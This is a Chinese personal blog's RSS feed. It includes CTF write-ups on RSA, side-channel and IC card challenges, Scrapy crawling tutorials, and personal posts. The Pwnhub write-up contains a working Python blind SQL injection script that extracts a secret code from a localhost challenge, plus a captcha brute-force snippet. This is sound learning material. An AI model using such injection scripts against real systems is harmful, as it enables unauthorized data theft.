&lt;p&gt;&lt;a href=&quot;http://www.freebuf.com/articles/ics-articles/148637.html&quot; rel=&quot;nofollow&quot;&gt;工业控制系统安全之——Modbus学习笔记&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;_3&quot;&gt;肥宅快乐&lt;/h2&gt;
&lt;p&gt;这个游戏。。玩通关就会有flag，但是作为一个geek，肯定要找捷径啊！！就像Nu1L战队一样，以来直接&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ActionScriptViewer直接解包看到Instance of Symbol 1217 MovieClip &quot;textBox&quot; in Symbol 2369 MovieClip Frame 440中存在&quot;Normally I would be. This is for you U1lDe0YzaVpoYWlfa3U0aWxlX1QxMTF9, I thought I&#x27;d get to safer ground.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;_4&quot;&gt;侧信道初探&lt;/h2&gt;
&lt;p&gt;这是跟硬件安全有关的知识，&lt;a href=&quot;https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_side_channel/&quot; rel=&quot;nofollow&quot;&gt;侧信道&lt;/a&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731866804074.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;一开始死看这几行代码是什么意思。。。但是后面hint说是简单的能量分析攻击（SPA），就说明可以直接读能量图得到flag，但是后来读错了。。正确读法如下：&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731866914501.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;_5&quot;&gt;神秘的交易&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.waitalone.cn/security-hardware-usb.html&quot; rel=&quot;nofollow&quot;&gt;软件&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bbs.pediy.com/thread-151259.htm&quot; rel=&quot;nofollow&quot;&gt;[原创]用逻辑嗅探破解接触式IC卡口令&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个是4422卡，稍微好读好懂一点。但是要注意从右往左读，逻辑分析仪左往右是低到⾼，我们读的时候是从 ⾼到低。反正就是去读一遍文档看看有什么特性，然后就是读就好了。&lt;/p&gt;
&lt;h2 id=&quot;_6&quot;&gt;交易识破后的报复&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wenku.baidu.com/view/912df7fcf705cc17552709fa.html?rec_flag=default&quot; rel=&quot;nofollow&quot;&gt;SLE4428 IC卡介绍及应用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.docin.com/p-644313923.html&quot; rel=&quot;nofollow&quot;&gt; FM4428 8K 位接触式逻辑加密卡电路&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4428卡每次写/擦除数据都要校验，连续八次校验密码不成功，卡就会被自动锁死。&lt;/p&gt;
&lt;p&gt;当时做的时候，根据上一题那样的做法，去读，去看文档，结果找到校验的片段（1011 0011 xxxx xxxx）。想着有修改，应该只需要对比就可以得出哪里做了修改，然后把可疑的flag都找出来，发现。。不行。。后来看了wp发现自己有个点理解错了（4428控制字只有6位）&lt;/p&gt;
&lt;h1 id=&quot;crypto&quot;&gt;Crypto&lt;/h1&gt;
&lt;h2 id=&quot;it-may-contain-flag&quot;&gt;it may contain &#x27;flag&#x27;&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf
e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939
c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
Tell me the msg.&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/84632&quot; rel=&quot;nofollow&quot;&gt;CTF中RSA的常见攻击方法&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;搜集资料，发现他是低解密指数攻击，所以可以用Wiener Attack来攻击，直接下载大佬的脚本，将参数修改，就可以跑出来了。&lt;/p&gt;
&lt;h2 id=&quot;a-number-problem&quot;&gt;a number problem&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;数论的知识～～连续肝一天半的时候，半夜疯狂看中国剩余定理，结果。。似懂非懂，发现还是不会。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.miskcoo.com/2014/09/chinese-remainder-theorem&quot; rel=&quot;nofollow&quot;&gt;扩展欧几里得算法与中国剩余定理&lt;/a&gt;留一波大佬的解释，等明年学密码学之前再看看～～&lt;/p&gt;
&lt;p&gt;但是打完之后，发现有一个非预期解：&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731867056295.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;看来以后去读master的时候，有救了:)&lt;a href=&quot;http://www.wolframalpha.com/&quot; rel=&quot;nofollow&quot;&gt;WolframAlpha&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;elgamal-hacker&quot;&gt;ElGamal Hacker&lt;/h2&gt;
&lt;p&gt;离散对数求私钥&lt;/p&gt;</description>
    <pubDate>Mon, 21 May 2018 07:30:14 +0800</pubDate>
  </item>
  <item>
    <title>
      舞蹈 | 《典狱司》
    </title>
    <link>https://www.0akarma.com/dance-dian-yu-si.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;图赏&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731831398736.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731831462650.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731831516472.jpg&quot;&gt;&lt;/p&gt;</description>
    <pubDate>Sun, 20 May 2018 12:04:13 +0800</pubDate>
  </item>
  <item>
    <title>
      How to Spider(Scrapy) faster and faster
    </title>
    <link>https://www.0akarma.com/scrapy-efficiency.html</link>
    <description>&lt;p&gt;何为异步？何为多线程？何为多进程？&lt;/p&gt;
&lt;h2 id=&quot;_1&quot;&gt;异步&lt;/h2&gt;
&lt;p&gt;Asyncio模块，等把Scrapy弄懂再学一下自己写高效的爬虫&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;多线程&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;I/O密集等待时间过多采取多线程&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;所谓IO密集型任务，是指磁盘IO、网络IO占主要的任务，计算量很小。比如请求网页、读写文件等。当然我们在Python中可以利用sleep达到IO密集型任务的目的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;可用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;thread&lt;/strong&gt;模块_thread，提供低等级接口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;threading&lt;/strong&gt;模块，提供更容易使用的基于对象的接口，可以继承Thread对象来实现线程，此外其还提供了其它线程相关的对象，例如Timer，Lock等。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;_3&quot;&gt;多进程&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;计算密集采取多进程充分利用CPU多核心优势&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;所谓计算密集型任务，是指CPU计算占主要的任务，CPU一直处于满负荷状态。比如在一个很大的列表中查找元素（当然这不合理），复杂的加减乘除等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;可用：mutliprocess模块，提供了很多容易使用的基于对象的接口。另外它提供了封装好的管道和队列，可以方便的在进程间传递消息。Python还提供了进程池Pool对象，可以方便的管理和控制线程。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;参考资料&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/24283040&quot; rel=&quot;nofollow&quot;&gt;Python进阶：聊聊IO密集型任务、计算密集型任务，以及多线程、多进程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/24118476?refer=pythoner&quot; rel=&quot;nofollow&quot;&gt;Python进阶：理解Python中的异步IO和协程(Coroutine)，并应用在爬虫中&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/24469566&quot; rel=&quot;nofollow&quot;&gt;拥有属于自己的Python爬虫框架--练习编写多线程、协程爬虫框架！&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.cnblogs.com/zhaof/tag/%E7%88%AC%E8%99%AB/&quot; rel=&quot;nofollow&quot;&gt;一位大佬关于爬虫的系列教程&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Tue, 24 Apr 2018 08:23:52 +0800</pubDate>
  </item>
  <item>
    <title>
      Scrapy Warm-Up
    </title>
    <link>https://www.0akarma.com/scrapy-warmup.html</link>
    <description>&lt;h2 id=&quot;novel&quot;&gt;Novel&lt;/h2&gt;
&lt;h3 id=&quot;_1&quot;&gt;单线程&lt;/h3&gt;
&lt;p&gt;先写个简单的没有JS异步加载的爬小说吧！&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731865252143.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;关键点在于用选择器来定位你要爬的内容。。单单在这一点上，我就觉得Scrapy比BeautifulSoup方便不知道多少倍了。。因为Scrapy的shell简直是神器，手动测试=&amp;gt;精准定位=&amp;gt;直接复制=&amp;gt;bingo！&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;chapter = response.xpath(&quot;//div[@class=&#x27;bookname&#x27;]/h1/text()&quot;).extract()
content = response.xpath(&quot;//div[@id=&#x27;content&#x27;]/text()&quot;).extract()
next_page = response.xpath(&quot;//div[@class=&#x27;bottem&#x27;]/a/@href&quot;)[3].extract()&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;至于如何储存提取的数据，那就根据需求来选择就好了。可以选择python的写入文件，也可以存储在json、jl里面。&lt;/p&gt;
&lt;p&gt;但是，这种单线程爬取，实在是太慢了。。。对于上千上万的请求。。怕是要挂一晚上哦～～&lt;/p&gt;
&lt;p&gt;所以，继续阅读文档，再学一波多线程爬取。。那就perfect啦！（后来发现Scrapy就是协程的，所以。。如果是多核电脑，你只可以开多个进程来加快速度～）&lt;/p&gt;
&lt;h3 id=&quot;_2&quot;&gt;多线程&lt;/h3&gt;
&lt;p&gt;暂时如果不跳出Scrapy的限制的话，可能只能同时启动多个spider来实现效率上的提升吧？&lt;/p&gt;
&lt;h2 id=&quot;_3&quot;&gt;爬图片&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://doc.scrapy.org/en/latest/topics/item-pipeline.html#process_item&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;process_item()&lt;/code&gt;&lt;/a&gt; &lt;/p&gt;
&lt;h2 id=&quot;_4&quot;&gt;题库&lt;/h2&gt;
&lt;p&gt;最近做了个爬题库的项目，根据金主爸爸的需求去爬，统一格式。。方才明白，爬虫容易，洗数据，统一格式才是。。让人抓狂的。&lt;/p&gt;
&lt;p&gt;不过一件事情翻炒翻炒，就会有不同的收获！&lt;/p&gt;
&lt;h3 id=&quot;_5&quot;&gt;储存方式&lt;/h3&gt;
&lt;h4 id=&quot;pipeline&quot;&gt;pipeline&lt;/h4&gt;
&lt;p&gt;​   scrapy默认 &lt;strong&gt;-o&lt;/strong&gt; 参数是储存到一个文件里面，但是如果数据动不动上G，打开都容易死机～更别说处理的时候了（而且面对大数据，现成工具的用处并不大。。。&lt;strong&gt;千万不要尝试手动处理&lt;/strong&gt;。。。自己写脚本才是比较geek的方法！！）&lt;/p&gt;
&lt;p&gt;​   这次储存的是json格式的数据，而且金主爸爸要求每个文件大小不超过20M。&lt;/p&gt;
&lt;p&gt;一开始我是一整套爬下来，再用脚本分片，感觉效率还是不够高（关键是还很麻烦）。&lt;/p&gt;
&lt;p&gt;后来再查了点资料，翻炒了文档，就去模仿自定义了一个pipeline&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# 自定义pipeline
import json
import codecs
import math
import os


point = {}
class ChuZhongPipeline(object):


    # 初始化时指定要操作的文件
    def __init__(self):
        print(&#x27;\nstoring..ChuZhong..&#x27;)

    # 存储数据，将 Item 实例作为 json 数据写入到文件中
    def process_item(self, item, spider):
        global point
        pointName = item[&#x27;pointName&#x27;]
        grade = item[&#x27;grade&#x27;]
        dir_path = &quot;./地理/%s&quot; % grade
        # 不存在文件夹则创建
        if not os.path.exists(dir_path):
            os.makedirs(dir_path)
        # 不存在该知识点的文件名，则创建
        if pointName not in point:
            point[pointName] = 1
            count = str(math.floor(point[pointName] / 1000))
            filename = dir_path + &quot;/&quot; + pointName + &quot;_&quot; + count + &quot;.json&quot;
            self.file = codecs.open(filename, &#x27;w&#x27;, encoding=&#x27;utf-8&#x27;)
            self.file.close()
        elif pointName in point:
            point[pointName]+= 1

        # 写入文件
        if (point[pointName] % 1000) != 0:
            count = str(math.floor(point[pointName] / 1000))
            currentname = dir_path + &quot;/&quot; + pointName + &quot;_&quot; + count + &quot;.json&quot;
            self.file = codecs.open(currentname,&#x27;a&#x27;, encoding=&#x27;utf-8&#x27;)
            lines = json.dumps(dict(item), ensure_ascii=False) + &#x27;,\n&#x27;
            self.file.write(lines)
            self.file.close()
        elif (point[pointName] % 1000) == 0:
            count = str(math.floor(point[pointName] / 1000))
            currentname = dir_path + &quot;/&quot; + pointName + &quot;_&quot; + count + &quot;.json&quot;
            self.file = codecs.open(currentname,&#x27;a&#x27;, encoding=&#x27;utf-8&#x27;)
            lines = json.dumps(dict(item), ensure_ascii=False) + &#x27;,\n&#x27;
            self.file.write(lines)
            self.file.close()
            count = str(math.floor(point[pointName] / 1000))
            filename = dir_path + &quot;/&quot; + pointName + &quot;_&quot; + count + &quot;.json&quot;
            self.file = codecs.open(filename, &#x27;w&#x27;, encoding=&#x27;utf-8&#x27;)
        return item&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这里实现的功能是，根据传过来的item，创建相应文件夹，和文件名，并限制一个文件的行数（scrapy写入json是一行一个数据），代码比较累赘，但是。。起码完成了我的需求是吧:&lt;strong&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个代码一开始是遇到了坑的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Process_item()里面只能用item里面的数据来自动化，如果你直接在这个pipeline里面设置一个全局变量，试图通过它来完成自动化创建与写入文件，我感觉是行不通的～～（关键是我太菜了！）&lt;/li&gt;
&lt;li&gt;由于scrapy的协程机制，写入文件的时候，你必须重新打开相应文件，来写入。。不然就会把一些奇奇怪怪的数据写到一个与他无关的文件里面，数据就混乱了！！&lt;/li&gt;
&lt;li&gt;还有一点就是，注意代码逻辑！！！注意代码逻辑！！！注意代码逻辑！！！&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;爬取数据任务完成了之后，只需要再写个脚本，把格式统一一下，把json文件的两个 &lt;strong&gt;[]&lt;/strong&gt; 补上，就大功告成了！&lt;/p&gt;
&lt;h4 id=&quot;item-exporter&quot;&gt;item exporter&lt;/h4&gt;
&lt;p&gt;这是用另一种方式储存json，但是这样储存是把所有数据写到一行里，不利于后续处理，所以我舍弃了。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from scrapy.exporters import JsonItemExporter
class ExercisesPipeline(object):
    # 调用 scrapy 提供的 json exporter 导出 json 文件
    def __init__(self):
        self.file = open(&#x27;questions_exporter.json&#x27;, &#x27;wb&#x27;)
        # 初始化 exporter 实例，执行输出的文件和编码
        self.exporter = JsonItemExporter(self.file,encoding=&#x27;utf-8&#x27;,ensure_ascii=False)
        # 开启倒数
        self.exporter.start_exporting()

    def close_spider(self, spider):
        self.exporter.finish_exporting()
        self.file.close()

    # 将 Item 实例导出到 json 文件
    def process_item(self, item, spider):
        self.exporter.export_item(item)
        return item&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;settings&quot;&gt;Settings设置的高级应用&lt;/h3&gt;
&lt;p&gt;官方文档中scrapy中settings参数有四个级别：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;命令行选项(Command line Options)(最高优先级)&lt;/li&gt;
&lt;li&gt;项目设定模块(Project settings module)&lt;/li&gt;
&lt;li&gt;命令默认设定模块(Default settings per-command)&lt;/li&gt;
&lt;li&gt;全局默认设定(Default global settings) (最低优先级)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在这个项目中，我主要用了第二个setting。众所周知，&lt;a href=&quot;http://一个scrapy项目中只有一个全局settings.py&quot; rel=&quot;nofollow&quot;&gt;一个scrapy项目中只有一个全局settings.py&lt;/a&gt;，所以我一般只会在里面设置一些全局参数（UA等一系列可以不变的变量），然后就可以用&lt;strong&gt;custom_settings&lt;/strong&gt;来自定义项目的一些设置：&lt;/p&gt;
&lt;p&gt;Eg:&lt;/p&gt;
&lt;p&gt;spiders/&lt;a href=&quot;http://somespider.py&quot; rel=&quot;nofollow&quot;&gt;somespider.py&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from ..custom_settings import *

class Spider1(CrawlSpider):
    name = &quot;spider1&quot;
    custom_settings = custom_settings_for_spider1
    pass

class Spider2(CrawlSpider):
    name = &quot;spider2&quot;
    custom_settings = custom_settings_for_spider2&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;http://custom_settings.py&quot; rel=&quot;nofollow&quot;&gt;custom_settings.py&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;custom_settings_for_spider1 = {
    &#x27;LOG_FILE&#x27;: &#x27;spider1.log&#x27;,                              # 日志文件
    &#x27;CONCURRENT_REQUESTS&#x27;: 100,                             # 请求并发数
    &#x27;DOWNLOADER_MIDDLEWARES&#x27;: {                             # 下载中间件
        &#x27;spider.middleware_for_spider1.Middleware&#x27;: 667,
    },
    &#x27;ITEM_PIPELINES&#x27;: {
        &#x27;spider.mysql_pipeline_for_spider1.Pipeline&#x27;: 400,  # 管道中间件
    },
}

custom_settings_for_spider2 = {
    &#x27;LOG_FILE&#x27;: &#x27;spider2.log&#x27;,
    &#x27;CONCURRENT_REQUESTS&#x27;: 40,
    &#x27;DOWNLOADER_MIDDLEWARES&#x27;: {
        &#x27;spider.middleware_for_spider2.Middleware&#x27;: 667,
    },
    &#x27;ITEM_PIPELINES&#x27;: {
        &#x27;spider.mysql_pipeline_for_spider2.Pipeline&#x27;: 400,
    },
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这里的设置优先级会比settings高，就可以为某一特定spider写一个定制的下载中间件，来绕过一下反爬机制&lt;/p&gt;
&lt;p&gt;如果每个爬虫的储存方式，有不同需求，就可以定制不同的pipeline来储存，只需要把你的想法加到pipeline.py即可（记住对应名字）&lt;/p&gt;
&lt;h2 id=&quot;_6&quot;&gt;参考资料&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/34035463&quot; rel=&quot;nofollow&quot;&gt;scrapy中settings参数的使用详解&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Tue, 17 Apr 2018 09:40:10 +0800</pubDate>
  </item>
  <item>
    <title>
      感悟 | My College Life
    </title>
    <link>https://www.0akarma.com/my-college-life.html</link>
    <description>&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731829235803.jpg&quot;&gt;&lt;br&gt;
大●学&lt;/p&gt;
&lt;p&gt;Stay hungry. Stay Foolish.&lt;/p&gt;
&lt;p&gt;踏入大学殿堂之前 我以为上了大学就解放了…… 殊不知 大学却是另一道起跑线……&lt;/p&gt;
&lt;p&gt;有的人追逐自己的舞蹈梦、摄影梦 有的人通宵达旦的Play Games 有的人日以继日的泡图书馆 有的人裸考四六级 有的人提前准备IELTS、SAT、GRE 有的人……&lt;/p&gt;
&lt;p&gt;每个人 心中都有梦想&lt;/p&gt;
&lt;p&gt;每个人 都有选择的权利&lt;/p&gt;
&lt;p&gt;此刻 是浑浑度日 还是去挑战自己，做一些有意义的事情 追逐自己的 Little Dream It all depends on u.&lt;/p&gt;
&lt;p&gt;Mutual encouragement&lt;/p&gt;
&lt;p&gt;Don’t envy them or mock them. They are in their TIME ZONE,and you are in yours！&lt;/p&gt;
&lt;p&gt;Life is about waiting for the right moment to act. So, RELAX. You’re not LATE. You’re not EARLY. You are very much ON TIME,and in your TIME ZONE Destiny set up for you.&lt;/p&gt;</description>
    <pubDate>Fri, 16 Mar 2018 12:01:55 +0800</pubDate>
  </item>
  <item>
    <title>
      复现Pwnhub会员日的一道题
    </title>
    <link>https://www.0akarma.com/rewrite-pwnhub-subject.html</link>
    <description>&lt;p&gt;一开始创表和字段的时候自信的自己创。。然后发现出问题了。。然后。。就老老实实的“自带”的代码。。然后就ojbk了～～&lt;/p&gt;
&lt;p&gt;这道题涉及了太多太多原先我并不知道的东西，所以仔细思考下来，还是收获了很多新姿势～&lt;/p&gt;
&lt;p&gt;面对一开始的login界面，&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731863374721.jpg&quot;&gt;&lt;br&gt;
测试了半天，发现没有注入点，然后不知道怎么进行下一步，就很懵逼～&lt;/p&gt;
&lt;h2 id=&quot;process&quot;&gt;Process&lt;/h2&gt;
&lt;p&gt;对于一个没有丰富ctf经验的小白来说。。就真的不知道要用扫描器这个神奇的东西～～后来发现thisisourcecode，就赶紧download下来审计一波～～&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731863508472.jpg&quot;&gt;&lt;br&gt;
就只有几个php，根据代码审计老套路～寻找可控点～捋清楚逻辑&lt;/p&gt;
&lt;h3 id=&quot;sql&quot;&gt;SQL注入&lt;/h3&gt;
&lt;p&gt;profile.php 中有一个注入点&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;media/15731203784899/15731863643097.jpg&quot;&gt;&lt;br&gt;
但是。。过滤了我认为最重要的()，这就很难受了。。因为这样子，我该如何注入啊？？&lt;/p&gt;
&lt;h3 id=&quot;flag&quot;&gt;Flag&lt;/h3&gt;
&lt;p&gt;要想拿到flag，&lt;br&gt;
1.就要拿到$secrect&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731863773046.jpg&quot;&gt;&lt;br&gt;
因为兑换码是一个“str_shuffle“的随机字符串&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://php.net/manual/zh/function.str-shuffle.php&quot; rel=&quot;nofollow&quot;&gt;str_shuffle&lt;/a&gt;&lt;br&gt;
但是要值得注意的是，这个函数是将字符串用伪随机的方式打乱，也就是一个字母用了一次之后，就不会再用第二次，我们可以利用&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731863895957.jpg&quot;&gt;&lt;br&gt;
这个东西也是做了这套题为才知道的～～&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2.就要爆破出验证码&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731863976103.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;solution&quot;&gt;Solution&lt;/h3&gt;
&lt;h4 id=&quot;sql_1&quot;&gt;SQL注入&lt;/h4&gt;
&lt;p&gt;要找出36位的兑换码不难，难得是&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731864119352.jpg&quot;&gt;&lt;br&gt;
他还限制了次数，超过了140次，就重置掉，所以。。傻瓜式遍历，肯定行不通～～这对一个虽然学过二分法，但是不知道怎么用python来实现的freshman来说，好像是有点残忍～～然后感谢彭锅(Ph0rse)给的思路～再去找了些&lt;a href=&quot;http://www.cnblogs.com/yupeng/p/3418293.html&quot; rel=&quot;nofollow&quot;&gt;资料&lt;/a&gt;，似乎搞懂了。。&lt;br&gt;
虽然我们要找到数据库中的兑换码，但是，兑换码在哪一列？不知道，而且过滤了()，也就意味着不能用mysql的一系列函数，来爆破列名（废话，要是能爆列名，还要盲注干嘛 :D )。&lt;br&gt;
于是又从彭锅那里学到一招：&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731864273590.jpg&quot;&gt;&lt;br&gt;
手动测试一下，回显位是第二位，果然是这样的。。所以就可以开始写脚本了。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# -*- coding:UTF-8 -*-
import requests as rq
import sys

# 准备工作
url = &quot;﻿http://localhost/pwnhub/profile.php&quot;
cookies = {&quot;PHPSESSID&quot;:&quot;630v0vodvk3f2muj14cohfld80&quot;}
payload = {&#x27;id&#x27;:&#x27;1&#x27;}
string = &#x27;0123456789abcdefghijklmnopqrstuvwxyz&#x27;
str = &#x27;&#x27;
url = rq.get(url,cookies=cookies, params=payload)
i = 1
print(url.url)

while i &amp;lt;= 36:
    left = 0
    right = len(string)-1
    print(&#x27;problem:&#x27;)
    print(right)

    if right - left == 1:
        poc = url.url +&#x27; union select 1,2,3,\&#x27;&#x27;+str+string[right]+&#x27;\&#x27;,5 order by 4 limit 0,1--+&#x27;
        target = rq.get(poc,cookies=cookies)
        if &#x27;KarmA&#x27; in target.text:
            str = str + string[left]
            str = str + string[right]
            print(str)
            exit()
        else:
            str = str + string[right]
            str = str + string[left]
            print(str)
            exit()
    # 二分法
    while 1:
        mid = int((left + right)) / 2
        poc = url.url + &#x27; union select 1,2,3,\&#x27;&#x27;+str+string[mid]+&#x27;\&#x27;,5 order by 4 limit 0,1--+&#x27;
        print(poc)
        target = rq.get(poc,cookies=cookies)
        print(target.text)
        if &#x27;KarmA&#x27; in target.text:
            right = mid - 1 # 左半部
        else:
            left = mid # 右半部

        if left == right: #中值
            str = str + string[left]
            string = string.replace(string[left],&#x27;&#x27;)
            break

        if right - left == 1: # 特殊情况，如不处理，会导致死循环
            poc = url.url +&#x27; union select 1,2,3,\&#x27;&#x27;+str+string[right]+&#x27;\&#x27;,5 order by 4 limit 0,1--+&#x27;
            target = rq.get(poc, cookies=cookies)
            if &#x27;KarmA&#x27; in target.text:
                str = str + string[left]
                string = string.replace(string[left],&#x27;&#x27;)
                break

            else:
                str = str + string[right]
                string = string.replace(string[right],&#x27;&#x27;)
                break

    i += 1
print(str)&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;_1&quot;&gt;验证码&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731864419598.jpg&quot;&gt;&lt;br&gt;
对传入的captcha经过md5加密后取前4位，与session的验证码比较。所以就需要写个脚本逆向爆破一下。得到加密前的验证码。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;&amp;lt;?php
    $i=1;
    while (1)
    {
        if(substr(md5($i),0,4)==&#x27;dd35&#x27;)
        {
            echo $i;
            break;
        }
        $i++;
    }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;然后就得到flag了。。。&lt;/p&gt;</description>
    <pubDate>Tue, 13 Mar 2018 13:31:59 +0800</pubDate>
  </item>
  <item>
    <title>
      Being grateful for what you have
    </title>
    <link>https://www.0akarma.com/be-grateful.html</link>
    <description>&lt;p&gt;大师姓曹，从事这一行三十余年，圈内很有名气。&lt;/p&gt;
&lt;p&gt;在市里吃过饭，赵某开车载着曹大师前往郊区。一路上，如果后头有车要超，赵某都是避让。&lt;/p&gt;
&lt;p&gt;曹大师笑道：“赵老板开车挺稳当呢。”虽然是香港人，一口普通话还算流利。&lt;/p&gt;
&lt;p&gt;赵某哈哈一笑：“要超车的多半有急事，可不能耽误他们。”&lt;/p&gt;
&lt;p&gt;行至小镇，街道远比市内要狭窄，赵某放慢了车速。&lt;/p&gt;
&lt;p&gt;一名小孩嬉笑着从巷子里冲了出来，赵某一脚刹车堪堪避开，小孩笑嘻嘻的跑过去以后，他并没有踩油门前行，而是看着巷子口，似乎在等着什么，片刻，又有一名小孩冲了出来，追赶着先前那名小孩远去。&lt;/p&gt;
&lt;p&gt;曹大师讶然问，“你怎么知道后头还有小孩？”&lt;/p&gt;
&lt;p&gt;赵某耸耸肩，“小孩子都是追追打打，光是一个人他可不会笑得这么开心。”&lt;/p&gt;
